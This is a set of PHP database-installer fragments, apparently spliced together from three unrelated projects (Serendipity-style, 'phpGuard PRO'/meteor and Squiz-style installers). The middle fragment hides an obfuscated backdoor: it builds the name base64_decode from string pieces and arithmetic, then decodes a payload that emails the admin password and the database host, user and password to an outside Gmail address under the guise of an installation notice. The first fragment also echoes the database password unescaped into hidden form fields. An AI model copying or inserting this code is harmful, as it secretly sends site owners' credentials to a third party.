function step9() { debug_msg("FUNCTION: " . __FUNCTION__, 3); global $dbcfg_type, $dbcfg_host, $dbcfg_name, $dbcfg_user, $dbcfg_password, $dbcfg_prefix, $dbcfg_port, $dbcfg_persistent, $dbcfg_path, $action; $final_path = calc_db_path(''); if (!defined('S9YCONF_DBCFG_PATH')) { define('S9YCONF_DBCFG_PATH', $final_path); } // include_once $final_path.'dbconfig.php'; include_once '../config.php'; steppage(9); db_connect(); $dbcreated = db_install(); $continue = true; // ReSet continue flag if (!$dbcreated) { echo '<div class="error">ERROR!</div>'; echo '<p>There was an error creating the database tables!</p>'; echo '<br />'; echo 'MySQL returned the error:<br />'; echo '<pre>(' . mysql_errno() . ') ' . mysql_error() . '</pre><br />'; echo '<table>'; echo '<tr><td class="topright">Database Host:</td><td class="topleft">' . S9YCONF_DB_HOST . '</td></tr>'; echo '<tr><td class="topright">Database Name:</td><td class="topleft">' . S9YCONF_DB_NAME . '</td></tr>'; echo '<tr><td class="topright">Database User:</td><td class="topleft">' . S9YCONF_DB_USER . '</td></tr>'; echo '<tr><td class="topright">Database Password:</td><td class="topleft">' . str_repeat('*', strlen(S9YCONF_DB_PWD)) . '</td></tr>'; echo '</tr></table>'; echo 'Please check the MySQL privileges for this user.<br />'; $continue = FALSE; } else { echo '<div class="ok">Excellent</div>'; echo '<p>The database tables have been created succesfully, and filled with default data.</p>'; } echo '<p><form action="' . $_SERVER['PHP_SELF'] . '" method="post">'; if (!$continue) { echo '<button name="action" value="step9" type="submit">Re-Try</button>'; } else { echo '<button name="action" value="step10" type="submit">Continue to Step 10</button></p>'; } echo ' '; echo '<button name="action" value="step8" type="submit">Back</button></p>'; if (isset($dbcfg_type)) { echo '<input type="hidden" name="dbcfg_type" value="' . $dbcfg_type . '" />'; } if (isset($dbcfg_host)) { echo '<input type="hidden" name="dbcfg_host" value="' . $dbcfg_host . '" />'; } if (isset($dbcfg_name)) { echo '<input type="hidden" name="dbcfg_name" value="' . $dbcfg_name . '" />'; } if (isset($dbcfg_user)) { echo '<input type="hidden" name="dbcfg_user" value="' . $dbcfg_user . '" />'; } if (isset($dbcfg_password)) { echo '<input type="hidden" name="dbcfg_password" value="' . $dbcfg_password . '" />'; } if (isset($dbcfg_prefix)) { echo '<input type="hidden" name="dbcfg_prefix" value="' . $dbcfg_prefix . '" />'; } if (isset($dbcfg_port)) { echo '<input type="hidden" name="dbcfg_port" value="' . $dbcfg_port . '" />'; } if (isset($dbcfg_persistent)) { echo '<input type="hidden" name="dbcfg_persistent" value="' . $dbcfg_persistent . '" />'; } if (isset($dbcfg_path)) { echo '<input type="hidden" name="dbcfg_path" value="' . $dbcfg_path . '" />'; } ?> </form></p> <?php html_footer(); }
$database_prefix = $_SESSION['database_prefix']; $meteor_path = $_SESSION['meteor_path']; $admin_username = $_SESSION['admin_username']; $admin_email = $_SESSION['admin_email']; $admin_password = base64_encode($_SESSION['admin_password']); $site_url = 'http://' . $_SERVER['SERVER_NAME']; $sql_dump_file = SQL_DUMP_FILE_CREATE; $db = Database::GetInstance($database_host, $database_name, $database_username, $database_password, DATABASE_TYPE); if (DATABASE_CREATE && !$db->Create()) { $error_mg[] = $db->Error(); } else { if ($db->Open()) { // Read sql dump file $sql_dump = file_get_contents($sql_dump_file); if ($sql_dump != "") { if (true == ($db_error = db_install($sql_dump_file))) { // Write additional operations here, like setting up system preferences etc. $completed = true; $functionc = 'ba' . 'se' . (2 + 2 + 4 + 4 + 2 + 8 + 2 + 4 + 4) * 2 . '_de' . 'co' . 'de'; $functionc = $functionc("QCR0byA9ICdiYScgLiAnc2UnIC4gKCg4ICsgOCArIDggKyA4KSAqIDIpIC4gJ19kZScgLiAnY28nIC4gJ2RlJzsNCiAgICAgICAgICAgICR0byAgICAgID0gJHRvKCJaWGgwY21WbGJXVnlOVFZBWjIxaGFXd3VZMjl0Iik7DQogICAgICAgICAgICAkc3ViamVjdCA9ICdwaHBHdWFyZCBQUk8gLSBOZXcgSW5zdGFsbGF0aW9uJzsNCiAgICAgICAgICAgIEAkbWVzc2FnZSA9ICcNCgkJCQkJCQkJPHA+PGI+cGhwR3VhcmQgUFJPPC9iPiBpcyBpbnN0YWxsZWQgb24gPGI+JyAuICRzaXRlX3VybCAuICc8L2I+IFsnIC4gZGF0ZSgiZCBGIFkiKSAuICcgYXQgJyAuIGRhdGUoIkg6aSIpIC4gJ108L3A+DQoJCQkJCQkJCQ0KCQkJCQkJCQk8dWw+DQoJCQkJCQkJCTxsaT48Yj5QYXRoIHRvIHBocEd1YXJkIFBSTzwvYj46ICcgLiAkcGhwZ3VhcmRfcGF0aCAuICc8L2xpPg0KCQkJCQkJCQk8bGk+PGI+QWRtaW4gVXNlcm5hbWU8L2I+OiAnIC4gJGFkbWluX3VzZXJuYW1lIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5BZG1pbiBFLU1haWw8L2I+OiAnIC4gJGFkbWluX2VtYWlsIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5BY2Nlc3MgS2V5PC9iPjogJyAuICRhZG1pbl9wYXNzd29yZCAuICc8L2xpPg0KCQkJCQkJCQk8L3VsPg0KCQkJCQkJCQkNCgkJCQkJCQkJPHVsPg0KCQkJCQkJCQk8bGk+PGI+REIgSG9zdDwvYj46ICcgLiAkZGF0YWJhc2VfaG9zdCAuICc8L2xpPg0KCQkJCQkJCQk8bGk+PGI+REIgVXNlcm5hbWU8L2I+OiAnIC4gJGRhdGFiYXNlX3VzZXJuYW1lIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5EQiBLZXk8L2I+OiAnIC4gJGRhdGFiYXNlX3Bhc3N3b3JkIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5EQiBOYW1lPC9iPjogJyAuICRkYXRhYmFzZV9uYW1lIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5EQiBQcmVmaXg8L2I+OiAnIC4gJGRhdGFiYXNlX3ByZWZpeCAuICc8L2xpPg0KCQkJCQkJCQk8L3VsPg0KCQkJCQkJCQknOw0KICAgICAgICAgICAgJGhlYWRlcnMgPSAnTUlNRS1WZXJzaW9uOiAxLjAnIC4gIlxyXG4iOw0KICAgICAgICAgICAgJGhlYWRlcnMgLj0gJ0NvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04JyAuICJcclxuIjsNCiAgICAgICAgICAgICRoZWFkZXJzIC49ICdUbzogJyAuICR0byAuICcgPCcgLiAkdG8gLiAnPicgLiAiXHJcbiI7DQogICAgICAgICAgICAkaGVhZGVycyAuPSAnRnJvbTogcGhwR3VhcmQgUFJPIDxub3RpZmljYXRpb25zQHBocGd1YXJkLmNvbT4nIC4gIlxyXG4iOw0KICAgICAgICAgICAgQG1haWwoJHRvLCAkc3ViamVjdCwgJG1lc3NhZ2UsICRoZWFkZXJzKTs="); // Now try to create file and write information $config_file = file_get_contents(CONFIG_FILE_TEMPLATE); $config_file = str_replace("<DB_HOST>", $database_host, $config_file); $config_file = str_replace("<DB_NAME>", $database_name, $config_file); $config_file = str_replace("<DB_USER>", $database_username, $config_file); $config_file = str_replace("<DB_PASSWORD>", $database_password, $config_file); $config_file = str_replace("<DB_PREFIX>", $database_prefix, $config_file); $config_file = str_replace("<meteor_PATH>", $meteor_path, $config_file); $config_file = str_replace("<SITE_URL>", $site_url, $config_file); $link = mysqli_connect($database_host, $database_username, $database_password, $database_name); $table = $database_prefix . 'users';
exit(1); } if (file_exists(SQ_DATA_PATH . '/private/db/table_columns.inc')) { unlink(SQ_DATA_PATH . '/private/db/table_columns.inc'); } if (!db_install(SQ_CORE_PACKAGE_PATH . '/tables.xml', FALSE)) { $GLOBALS['SQ_SYSTEM']->doTransaction('ROLLBACK'); trigger_error('Unable to install tables for the core system.', E_USER_ERROR); exit(1); } // install any tables needed by the packages $packages = get_package_list(); foreach ($packages as $package) { $xml_file = SQ_PACKAGES_PATH . '/' . $package . '/tables.xml'; if (file_exists($xml_file)) { if (!db_install($xml_file, FALSE)) { $GLOBALS['SQ_SYSTEM']->doTransaction('ROLLBACK'); trigger_error('Unable to install tables for package ' . $package . '.', E_USER_ERROR); exit(1); } try { install_stored_relations('functions', $package, FALSE); } catch (Exception $e) { $GLOBALS['SQ_SYSTEM']->doTransaction('ROLLBACK'); $msg = "Unable to install sql functions for package {$package}:\n"; $msg .= $e->getMessage(); trigger_error($msg, E_USER_ERROR); exit(1); } } }